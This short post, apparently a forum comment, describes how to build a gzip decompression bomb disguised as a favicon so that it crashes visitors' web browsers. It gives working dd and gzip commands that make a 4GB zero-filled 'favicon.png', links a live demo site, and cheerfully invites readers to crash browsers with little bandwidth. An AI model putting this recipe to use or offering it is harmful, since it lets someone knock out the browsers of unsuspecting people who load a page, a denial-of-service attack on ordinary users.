tomjepp

This makes a 4GB file when decompressed and is plenty large enough to crash a 32-bit browser. You may need a larger file to reliably crash 64-bit browsers.

Even better - this works with compressed favicons.

Take http://pastie.org/10242118 and create yourself a favicon file:

dd if=/dev/zero of=favicon.png bs=1M count=4096

gzip -9 favicon.png

you can now crash lots of browsers with minimal bandwidth usage :)

demo: http://dev.tomjepp.uk/